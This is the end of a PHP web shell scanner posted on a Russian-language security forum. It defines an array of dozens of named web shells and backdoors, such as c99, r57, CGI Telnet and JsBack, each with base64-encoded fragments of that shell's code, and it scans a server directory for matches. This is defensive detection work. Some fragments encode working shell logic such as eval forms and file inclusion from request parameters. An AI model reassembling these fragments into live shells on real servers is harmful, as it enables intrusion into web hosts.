        array( 'id' => 'Symlink User Bypass', 'def1' => 'PGZvcm0gc3R5bGU9ImJvcmRlcjogNHB4IHJpZGdlICNGRkZGRkYiPg0KPHAgYWxpZ249ImNlbnRlciIgZGlyPSJydGwiPjxmb250IGNvbG9yPSIjRkYwMDAwIj48c3BhbiBsYW5nPSJhci1zYSI+PGI+DQombmJzcDsgLT1bU3ltbGluayBUb29scyB0byBieXBhc3MgdXNlcl1WLjMgPS0NCjwvYj4NCg==', 'def2' => 'ICA8Zm9udCBjb2xvcj0iI0ZGRkZGRiI+by0tLVs8L2ZvbnQ+IDxmb250IGNvbG9yPSIjRkYwMDAwIj5EZXZlbG9wZXIgYnkgU25JcEVyX1NBCSBTeW1saW5rIFVzZXIgQnlwYXNzIDwvZm9udD4gPGZvbnQgY29sb3I9IiNGRkZGRkYiPnw8L2ZvbnQ+IDxhIGhyZWY9aHR0cDovL3NuaXBlci1zYS5jb20+aHR0cDovL3NuaXBlci1zYS5jb208L2E+DQogIDxmb250IGNvbG9yPSIjRkZGRkZGIj58PC9mb250PiA8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+DQo=' ),

        array( 'id' => 'C100 Yarakam Modified Shell', 'def1' => 'aWYgKCFlbXB0eSgkdW5zZXRfc3VybCkpIHtzZXRjb29raWUoImsxcjRfc3VybCIpOyAkc3VybCA9ICIiO30NCmVsc2VpZiAoIWVtcHR5KCRzZXRfc3VybCkpIHskc3VybCA9ICRzZXRfc3VybDsgc2V0Y29va2llKCJrMXI0X3N1cmwiLCRzdXJsKTt9DQplbHNlIHskc3VybCA9ICRfUkVRVUVTVFsiazFyNF9zdXJsIl07IC8vU2V0IHRoaXMgY29va2llIGZvciBtYW51YWwgU1VSTA0KfQ0KDQo=', 'def2' => 'aWYgKCRzdXJsX2F1dG9maWxsX2luY2x1ZGUgYW5kICEkX1JFUVVFU1RbImsxcjRfc3VybCJdKSANCg0KDQo=' ),

        array( 'id' => 'c99shell v. 1.0 pre-release build', 'def1' => 'Zi8vSzhvbytJeUgwejNpOHNwWEdEblpDVW5uWFQ=', 'def2' => 'bEpmY3U3bUIydkJuSURHTkZGRnpEbVROdzNtSU9aWlB2MndHakRzZ2cyWHFHYk90L2ROc2xILysvLys5ZS8vS1k2ays2ZA0K' ),

        array( 'id' => 'N3tShell Emp3ror Undetectable (C99)', 'def1' => 'JHNhZmVtb2RlX2Rpc2tldHRlcyA9IGFycmF5KCJhIik7IC8vIFRoaXMgdmFyaWFibGUgZm9yIGRpc2FibGluZyBkaXNrZXR0LWVycm9ycy4NCiAvLyBhcnJheSAoaT0+e2xldHRlcn0gLi4uKTsgc3RyaW5nIHtsZXR0ZXJ9IC0gbGV0dGVyIG9mIGEgZHJpdmUNCi8vJHNhZmVtb2RlX2Rpc2tldHRlcyA9IHJhbmdlKCJhIiwieiIpOw0KJGhleGR1bXBfbGluZXMgPSA4Oy8vIGxpbmVzIGluIGhleCBwcmV2aWV3IGZpbGUNCiRoZXhkdW1wX3Jvd3MgPSAyNDsvLyAxNiwgMjQgb3IgMzIgYnl0ZXMgaW4gb25lIGxpbmUNCg==' ),

		array( 'id' => 'C99 Saldiri.org version', 'def1' => 'aWYgKCFmdW5jdGlvbl9leGlzdHMoImsxcjRfYnVmZl9wcmVwYXJlIikpDQp7DQpmdW5jdGlvbiBrMXI0X2J1ZmZfcHJlcGFyZSgpDQo='),

		array( 'id' => 'CGI Telnet', 'def1' => 'c3ViIFJlYWRQYXJzZQ0Kew0KICAgICAgICBsb2NhbCAoKmluKSA9IEBfIGlmIEBfOw0KICAgICAgICBsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOw0KDQoNCg=='),

		array( 'id' => 'CTT Shell', 'def1' => 'aWYgKCRhY3QgPT0gImZ0cHF1aWNrYnJ1dGUiKQ0Kew0KIGVjaG8gIjxiPkZ0cCBRdWljayBicnV0ZTo8L2I+PGJyPiI7DQogaWYgKCR3aW4pIHtlY2hvICJUaGlzIGZ1bmN0aW9ucyBub3Qgd29yayBpbiBXaW5kb3dzITxicj48YnI+Ijt9DQogZWxzZQ0KIHsNCiAgZnVuY3Rpb24gY3RmdHBicnV0ZWNoZWNrKCRob3N0LCRwb3J0LCR0aW1lb3V0LCRsb2dpbiwkcGFzcywkc2gsJGZxYl9vbmx5d2l0aHNoKQ0KICB7DQppZiAoJGZxYl9vbmx5d2l0aHNoKQ0KDQo='),

		array( 'id' => 'Cyber Shell', 'def1' => 'PGNlbnRlcj4uOkN5YmVyIFNoZWxsICh2IDEuMCk6Ljxicj5Db3B5cmlnaHQgqSA8YSBocmVmPSJodHRwOi8vd3d3LmN5YmVybG9yZHMubmV0IiB0YXJnZXQ9Il9ibGFuayI+Q3liZXIgTG9yZHMgQ29tbXVuaXR5PC9hPiwgMjAwMi0yMDA2PC9jZW50ZXI+'),

		array( 'id' => 'Dive Shell', 'def1' => 'LypFbXBlcm9yIEhhY2tpbmcgVEVBTSAqLw0KICBzZXNzaW9uX3N0YXJ0KCk7DQo='),

		array( 'id' => 'DTool Pro Shell', 'def1' => 'aWYoaXNzZXQoJGNoZGlyKSkgQGNoZGlyKCRjaGRpcik7DQpmdW5jdGlvbiBzYWZlbW9kZSgkd2hhdCl7ZWNobyAiVGhpcyBzZXJ2ZXIgaXMgaW4gc2FmZW1vZGUuIFRyeSB0byB1c2UgRFRvb2wgaW4gU2FmZW1vZGUuIjt9DQo='),

		array( 'id' => 'Erne Safe Mode Bypass Shell', 'def1' => 'PHRyPjx0ZD48Y2VudGVyPjxmb250IHNpemU9IjQiIGNvbG9yPSIjRkZGRkZGIj48c3BhbiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMCI+RXJOZSBTYWZlIE1vZGUgQnlwYXNzIEZvciBCaXlvU2VjdXJpdHkuTmV0PC9zcGFuPg0K'),

		array( 'id' => 'GFS Shell', 'def1' => 'R0ZTIFdlYi1TaGVsbA0KKi8NCmVycm9yX3JlcG9ydGluZygwKTsNCmlmKCRfUE9TVFsnYl9kb3duJ10pew0K'),

		array( 'id' => 'GNY Shell', 'def1' => 'Ly93NGNrMW5nIFNoZWxsDQppZiAoIWZ1bmN0aW9uX2V4aXN0cygnbXlzaGVsbGV4ZWMnKSkNCnsNCmlmKGlzX2NhbGxhYmxlKCdwb3BlbicpKXsNCmZ1bmN0aW9uIG15c2hlbGxleGVjKCRjb21tYW5kKSB7DQoNCg=='),

		array( 'id' => 'H4NTU Shell', 'def1' => 'PD9waHANCmVjaG8gIjxwPjxmb250IHNpemU9MiBmYWNlPVZlcmRhbmE+PGI+VGhpcyBJcyBUaGUgU2VydmVyIEluZm9ybWF0aW9uPC9iPjwvZm9udD48L3A+IjsNCj8+DQoNCg0KDQo='),

		array( 'id' => 'Heykir Shell', 'def1' => 'ICRjb2Rlcj0iVGhlX0JlS2lSICAmICBUaVQgICYgUnVzbGFuICI7DQogJHN0cmluZyA9ICFlbXB0eSgkX1BPU1RbJ3N0cmluZyddKSA/ICRfUE9TVFsnc3RyaW5nJ10gOiAwOw0KICRzd2l0Y2ggPSAhZW1wdHkoJF9QT1NUWydzd2l0Y2gnXSkgPyAkX1BPU1RbJ3N3aXRjaCddIDogMDsNCg=='),

		array( 'id' => 'iMHaP FTP Shell', 'def1' => 'PEJPRFk+PElNRyBzdHlsZT0iV0lEVEg6IDMwNnB4OyBIRUlHSFQ6IDc2cHgiIGhlaWdodD0xMDAgDQpzcmM9Imh0dHA6Ly93d3cubmV0dGVraWFkcmVzLmNvbS9pbWhhYmlybGlnaS5qcGciIHdpZHRoPTI4Mj48L0JPRFk+DQo8YnI+PENlbnRlcj5TVSBBTiA8QSBocmVmPSJodHRwOi8vd3d3LmltaGFiaXJsaWdpLmNvbSI+aU1IYUJpUkxpR2k8L0E+IEhVRFVUTEFSSU5EQSBCVUxVTk1BS1RBU0lOSVouISE8L0NlbnRlcj4NCg0K'),

		array( 'id' => 'Iron Shell', 'def1' => 'cHJpbnQgIjxmb3JtIGFjdGlvbj1cIiIuJG1lLiI/cD1ldmFsXCIgbWV0aG9kPVBPU1Q+DQoNCgkJCQk8dGV4dGFyZWEgY29scz02MCByb3dzPTEwIG5hbWU9XCJldmFsXCI+IjsNCg0KCQkJCWlmKGlzc2V0KCRfUE9TVFsnZXZhbCddKSkNCg0KDQo='),

		array( 'id' => 'JSP Shell', 'def1' => 'PC90YWJsZT4NCjxwIGFsaWduPSJjZW50ZXIiPlBvd2VyIEJ5IL74ttTB47bIW0IuQy5UXSBRUTo0ODEyNDAxMjwvcD4NCjxwIGFsaWduPSJjZW50ZXIiPiZuYnNwOzwvcD4NCjwlfS8vaWYgZWRpdA0KDQoNCg=='),

		array( 'id' => 'Kacak Shell', 'def1' => 'PG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9d2luZG93cy0xMjU0Ij4NCjx0aXRsZT5LYWNhayBGU08gMS4wIHwgVGVycm9yaXN0IENyZXcgLSBTaGVsbGNpLmJpejwvdGl0bGU+DQoNCg0K'),

		array( 'id' => 'KADot Shell', 'def1' => 'PG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9d2luZG93cy0xMjU0Ij4NCjx0aXRsZT5LYWNhayBGU08gMS4wIHwgVGVycm9yaXN0IENyZXcgLSBTaGVsbGNpLmJpejwvdGl0bGU+DQoNCg0K'),

		array( 'id' => 'Lama Shell', 'def1' => 'PGh0bWw+DQogIDxoZWFkPg0KICAgIDx0aXRsZT5sYW1hJ3MnaGVsbCB2LiAzLjA8L3RpdGxlPg0K'),

		array( 'id' => 'Liz0zim Shell', 'def1' => 'ZWNobyAiPGI+PGZvbnQgY29sb3I9Ymx1ZT5MaXowemlNIFByaXZhdGUgU2FmZSBNb2RlIENvbW1hbmQgRXhlY3VyaXRvbiBCeXBhc3MgRXhwbG9pdDwvZm9udD48L2I+PGJyPiI7DQo='),

		array( 'id' => 'Load Shell', 'def1' => 'PHRpdGxlPkxvYWRlcid6IFdFQiBzaGVsbDwvdGl0bGU+DQo='),

		array( 'id' => 'Moroccan Spamers Shell', 'def1' => 'PHRkIHdpZHRoPSIzMTciIGJvcmRlcmNvbG9yPSIjQ0NDQ0NDIiBiZ2NvbG9yPSIjRjBGMEYwIiBiYWNrZ3JvdW5kPSIvc2ltcGFydHMvaW1hZ2VzL2NlbGxwaWMxLmdpZiIgaGVpZ2h0PSIyMiI+PGZvbnQgc2l6ZT0iLTEiIGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiPiA='),

		array( 'id' => 'MyShell Shell', 'def1' => 'PHRpdGxlPiRNeVNoZWxsVmVyc2lvbiAtIEFjY2VzcyBEZW5pZWQ8L3RpdGxlPg0KICAgICAgICAgPC9oZWFkPg0K'),

		array( 'id' => 'MySQL Interface Shell', 'def1' => 'KiBNeXNxbCBpbnRlcmZhY2UgdjEuMA0KKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoqIERlc2NyaXB0aW9uIDoNCiogRHVuZ2AgZGUgbG9naW4gdmFvYCBDU0RMIGN1YSB2aWN0aW0ga2hpIGRhIGJpZXQgdXNlciB2YWAgcGFzcyBjdWEgbXlzcWwgdGhvbmcgcXVhIGZpbGUgY29uZmlnDQo='),

		array( 'id' => 'Sora 101 shell', 'def1' => 'fWVsc2VpZigkX0dFVFsiYXp6Il09PSJ2ZWRpIil7DQogICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfR0VUWyJmaWxlIl0pKTsNCn1lbHNlaWYoJF9HRVRbImF6eiJdPT0iaW5jIil7DQogICAgaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsNCn0='),

		array( 'id' => 'N Shell', 'def1' => 'PHRpdGxlPiBuU2hlbGwgdjEuMDwvdGl0bGU+DQo='),

		array( 'id' => 'NCC Shell', 'def1' => 'PGgxPi46TkNDOi4gU2hlbGwgdjEuMC4wPC9oMT4NCg=='),

		array( 'id' => 'Network File Manager PHP Shell', 'def1' => 'JHRpdGxlPSJOZXR3b3JrRmlsZU1hbmFnZXJQSFAgZm9yIGNoYW5uZWwgI2hhY2sucnUiOw0K'),

		array( 'id' => 'Nix Remote Shell', 'def1' => 'JHRpdGxlPSJOZXR3b3JrRmlsZU1hbmFnZXJQSFAgZm9yIGNoYW5uZWwgI2hhY2sucnUiOw0KDQokdmVyPSIxLjcucHJpdmF0ZSAoW2ZpbmFsX2VuZ2xpc2hfcmVsZWFzZV0pIjsNCg=='),

		array( 'id' => 'NST Shell', 'def1' => 'IyMjIyMjdmVyIyMjIw0KJHZlcj0gInYyLjEiOw0KIyMjIyMjIyMjIyMjIw0K'),

		array( 'id' => 'PH Vayv Shell', 'def1' => 'ICAgIDxicj4NCiAgICBQSFZheXYgMS4wPC9zcGFuPjwvZm9udD48L3RkPg0K'),

		array( 'id' => 'PHANTASMA Shell', 'def1' => 'PERJViBTVFlMRT0iZm9udC1mYW1pbHk6IHZlcmRhbmE7IGZvbnQtc2l6ZTogMjVweDsgZm9udC13ZWlnaHQ6IGJvbGQ7IGNvbG9yOiAjRjNiNzAwOyI+UEhBTlRBU01BLSBOZVcgQ21EIDspIDwvRElWPg0KDQo='),

		array( 'id' => 'PHP Backdoor Shell', 'def1' => 'Ly8gYSBzaW1wbGUgcGhwIGJhY2tkb29yIHwgY29kZWQgYnkgejBtYmllIFszMC4wOC4wM10gfCBodHRwOi8vZnJlZW5ldC5hbS9+em9tYmllIFxcDQo='),

		array( 'id' => 'PHP Bypass Shell', 'def1' => 'KgkJCQkJCQlTaGVMTCBBcmNoaXZlDQoqICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQaHAgQnlwYXNzIC0gd3d3LnNoZWxsY2kuYml6DQoNCg=='),

		array( 'id' => 'PHP Include With Shell', 'def1' => 'IyB3ZSBkZWNpZGUgaWYgd2Ugd2FudCBzeXNsb2dnaW5nDQpjbG9zZWxvZygpOw0KDQo='),

		array( 'id' => 'PHP Inj Shell', 'def1' => 'PHRpdGxlPnx8IC46Ok5ld3MgUmVtb3RlIFBIUCBTaGVsbCBJbmplY3Rpb246Oi4gfHwgICA8L3RpdGxlPg0K'),

		array( 'id' => 'PHP Jackal Shell', 'def1' => 'Y2FzZSAnY3InOmNyYWNrZVIoKTticmVhazsNCmNhc2UgJ2RpYyc6ZGljbWFrZVIoKTticmVhazsNCmNhc2UgJ3Rvb2xzJzp0b29sUygpO2JyZWFrOw0KY2FzZSAnaGV4JzpoZXh2aWVXKCk7YnJlYWs7DQoNCg=='),

		array( 'id' => 'PHP Remote View Shell', 'def1' => 'ICogIFdlbGNvbWUgdG8gcGhwUmVtb3RlVmlldyAoUmVtVmlldykgDQoNCg=='),

		array( 'id' => 'R57 ORIGINAL Shell', 'def1' => 'LyogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBSNTcgc2hlbGwNCg0K'),

		array( 'id' => 'R57 IFX Modified Shell', 'def1' => 'LyogIHI1N3NoZWxsLnBocCAtID8/Pz8/PyA/PyA/Pz8gPz8/Pz8/Pz8/Pz8gPz8/ID8/Pz8/Pz8/PyA/Pz8/ID8/Pz8/Pz8gID8/ID8/Pz8/Pz8gPz8/Pz8gPz8/Pz8/Pw0K'),

		array( 'id' => 'R57 Kartal Modified Shell', 'def1' => 'LyogICAgICAgICAgICAgICAgICAgIGthcnRhbF81NjdAaG90bWFpbC5jb21bS2FSVGFMXQ0KDQo='),

		array( 'id' => 'R57 Mohajer22 Shell', 'def1' => 'LyogIChjKW9kZWQgYnkgMWR0LncwbGYNCg0KDQo='),

		array( 'id' => 'R57 New Year Edition Shell', 'def1' => 'LyogID8/Pz8/PzogMS4yNCAoTmV3IFllYXIgRWRpdGlvbikNCg0KDQo='),

		array( 'id' => 'Remview Shell', 'def1' => 'ICogICMgU2hlbGxjaS5CaXoNCiAqICBXZWxjb21lIHRvIHBocFJlbW90ZVZpZXcgKFJlbVZpZXcpIA0K'),

		array( 'id' => 'S72 Shell', 'def1' => 'PHRpdGxlPnM3MiBTaGVsbCB2MS4wIENvZGluZiBieSBDckB6eV9LaW5nPC90aXRsZT4NCg=='),

		array( 'id' => 'Safe Mode Bypass PHP 4.4.2 & 5.1.2 Shell', 'def1' => 'TW9kZSBTaGVsbCB2MS4wPC9mb250Pjwvc3Bhbj48L2E+PC9mb250Pjxmb250IGZhY2U9IldlYmRpbmdzIiBzaXplPSI2IiBjb2xvcj0iI0ZGMDAwMCI+ITwvZm9udD48L2I+PC9wPg0KDQo='),

		array( 'id' => 'SIM Attacker Shell', 'def1' => 'Jm5ic3A7SXJhbmlhbiBIYWNrZXJzIDogV1dXLlNJTU9SR0gtRVYuQ09NIDxicj4NCiZuYnNwO1Byb2dyYW1lciA6IEhvc3NlaW4gQXNnYXJ5IDxicj4NCg=='),

		array( 'id' => 'SnIpEr SA Shell', 'def1' => 'LyogIFNuSXBFcl9TQS5waHAgLSA/Pz8/Pz8gPz8gPz8/ID8/Pz8/Pz8/Pz8/ID8/PyA/Pz8/Pz8/Pz8gPz8/Pz8/Pz8/ID8/Pz8/Pz8gPz8gPz8/Pz8/PyA/Pz8/PyA/Pz8/Pz8/DQo='),

		array( 'id' => 'Stres Bypass Shell', 'def1' => 'LyogICAgICAgICAgICAgICAgICAgICAgICAgIFN0cmVzQnlwYXNzIHYxLjANCg=='),

		array( 'id' => 'Dark-Shell', 'def1' => 'ZWNobyAiPGNlbnRlcj48aDE+RGFyayBTaGVsbDwvaDE+PC9jZW50ZXI+PHA+PGhyPjxwPlxuIjsNCg=='),

		array( 'id' => '0x00 PHP shell', 'def1' => 'ICAgICAgICA8dGl0bGU+fiAweDAwIFBIUCBzaGVsbCB2LjB4MjwvdGl0bGU+DQo='),

		array( 'id' => 'okno_Shell', 'def1' => 'ZWNobyAnPGJyPlBIUCBzeXN0ZW0oKSBjb25zb2xlIGJ5IG9rbm8gLSBtYWluQHBhd2Vsem9yemFuLmV1IDxicj4nOw0K'),

		array( 'id' => 'CShell', 'def1' => 'ICogQ1NoZWxsDQoNCg=='),

		array( 'id' => 'Bl0od3r Priv8 Shell', 'def1' => 'U2hlbGwgd3JpdHRlbiBieSBCbDBvZDNyDQoNCg0K'),

		array( 'id' => 'Root Access Shell', 'def1' => 'PHRyPjx0ZCBjbGFzcz1jb250ZW50Yj48Y2VudGVyPjxhIGhyZWY9Imh0dHA6Ly9mb3J1bS5yb290LWFjY2Vzcy5ydSI+PGZvbnQgc2l6ZT0yIGNvbG9yPSNlN2U3ZWI+Um9vdC1BY2Nlc3MgU2hlbGwgdjEuMDwvZm9udD48L2E+PC9jZW50ZXI+DQoNCg0K'),

		array( 'id' => 'G00nShell', 'def1' => 'IyBbZzAwbl1GaVNoIHByZXNlbnRzOiAjDQojIGcwMG5zaGVsbCB2MS4zIGZpbmFsICMNCg0KDQo='),

		array( 'id' => 'CShell', 'def1' => 'ICogQ1NoZWxsDQoNCg=='),

        array( 'id' => 'lostDC shell', 'def1' => 'ICogbG9zdERDIHNoZWxsDQoNCg0K'),

        array( 'id' => '_GsC_ shell', 'def1' => 'R3NDIFNoZUxMIHYwLjguMCBDcmVhdGVkIEJ5IF9Hc0NfIEFrYSBTazFwcDNyDQoNCg0K'),

        array( 'id' => 'OnBoomShell', 'def1' => 'LyoNCk9OQk9PTVNIRUxMIFYgMC4yDQpieSBjb2JyYTkwbmoNCg=='),

        array( 'id' => 'StAkeR ~ Shell', 'def1' => 'PHRpdGxlPlN0QWtlUiB+IFNoZWxsPC90aXRsZT4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQo='),

        array( 'id' => 'Iron Shell', 'def1' => 'JGZvb3RlciA9ICc8dHI+PHRkPjxocj48Y2VudGVyPiZjb3B5OyA8YSBocmVmPSJodHRwOi8vd3d3Lmlyb253YXJlei5pbmZvIj5Jcm9uPC9hPiAmIDxhIGhyZWY9Imh0dHA6Ly93d3cucm9vdHNoZWxsLXRlYW0uaW5mbyI+Um9vdFNoZWxsIFNlY3VyaXR5IEdyb3VwPC9hPjwvY2VudGVyPjwvdGQ+PC90YWJsZT48L2JvZHk+PC9oZWFkPjwvaHRtbD4nOw=='),

        array( 'id' => '..:: HiddenShell ::..', 'def1' => 'ICAgIDx0aXRsZT5IaWRkZW5TaGVsbDwvdGl0bGU+DQo='),

        array( 'id' => 'N3fa5t1cA Sh3ll', 'def1' => 'PGh0bWw+PHRpdGxlPk4zZmE1dDFjQSBTaDNsbDwvdGl0bGU+DQoNCg=='),

        array( 'id' => '! ~ Cod3rZ Shell ~ !', 'def1' => 'IyBDb2QzclogU2hlbGwgNS4xDQojIGMwZGVkIGJ5IENvZDNyWg0KDQoNCg=='),

        array( 'id' => 's101', 'def1' => 'PHRpdGxlPnMxMDEgdjAuMi41PC90aXRsZT4NCg0K'),

        array( 'id' => 'Nexpl0rer Shell', 'def1' => 'MzEzMzcgU2hlbGwgYnkgTmV4ZW4gLSBQaFAgYzBkYWgNCg0K'),

        array( 'id' => 'DC3 Shell (Priv8)', 'def1' => 'ICAgICAgICAgIGRDMyBTZWN1cml0eSBDcmV3DQo='),

        array( 'id' => 'H4ntu Shell', 'def1' => 'ZWNobyAiPHRpdGxlPmg0bnR1IHNoZWxsIFtwb3dlcmVkIGJ5IHRzb2ldPC90aXRsZT5cbjxwPjxmb250IHNpemU9MiBmYWNlPVZlcmRhbmE+PGI+VGhpcyBJcyBUaGUgU2VydmVyIEluZm9ybWF0aW9uPC9iPjwvZm9udD48L3A+IjsNCg=='),

        array( 'id' => 'Macker s Private PHPShell', 'def1' => 'KiAgICAgICAgICAgICAgICAgICAgICAgICAgIFBIUFNIRUxMLlBIUCAgICAgICAgICAgICAqDQoNCg=='),

        array( 'id' => '~ Andr3a92 ~ Sh3ll ~', 'def1' => 'ZWNobyAiPHRyPjx0ZCBiZ2NvbG9yPVwiI0NDQ0NDQ1wiPjxjZW50ZXI+PGltZyBzcmM9XCIiLiRzaGVsbC4iP2ltZz1maWxlXCIgYm9yZGVyPVwiMFwiPjwvY2VudGVyPjwvdGQ+PHRkIGJnY29sb3I9XCIjQ0NDQ0NDXCI+PGEgaHJlZj1cIiIuJGZpbGV6LiJcIiB0YXJnZXQ9XCJfQkxBTktcIj4iLiRmaWxlX25hbWUuIjwvYT48L3RkPg0K'),

        array( 'id' => 'JsBack - Shell Backdoor', 'def1' => 'ICAgICAgICAgICAgICAgSnNCYWNrIC0gSmF2YXNjcmlwdCBCYWNrZG9vcg0K'),

        array( 'id' => 'shell qualsiasi', 'def1' => 'c2hlbGwNCg==', 'def2' => 'U2hlbGwNCg==', 'def3' => 'U2gzbGwNCg==')

    );

 

$generic = 'Shell';

 

$tpl = new page_template( );

 

$tpl -> print_header( );

parse_dir( $settings[ 'BASE_DIR' ] );

$tpl -> print_footer( );

?>

Последний раз редактировалось neofit; 08.01.2013 в 17:59.
neofit вне форума   Ответить с цитированием
4 пользователя(ей) сказали cпасибо:
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Trackbacks are Вкл.
Pingbacks are Вкл.
Refbacks are Вкл.


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[PERL] Multithread Mail.ru bruteforce by Sharky hide E-mail 4 25.02.2011 18:51
Начинаем программировать на C++, C#, ассемблере(win), Qt, Python, Java, AS3. Xsena Программирование 17 03.07.2010 16:36
PHP-NMAP po1nt SOFT (Варезник) 0 30.06.2009 12:11




DDoS Protected




Мы в твиттере, Proxy-Base.Org Twitter

Proxy-Base Community - Анонимность и безопасность в интернете.
Наши партнеры: CRC Labs, SEO-Crack.Com, Garsuk.Com, SED Team, Skladchik.com, BSS Family

Powered by vBulletin® | Булка сделана в пекарне®
Copyright © 2000 - , Jelsoft Enterprises Ltd. Перевод: zCarot
Вся информация на сайте выложена исключительно в ознакомительных целях.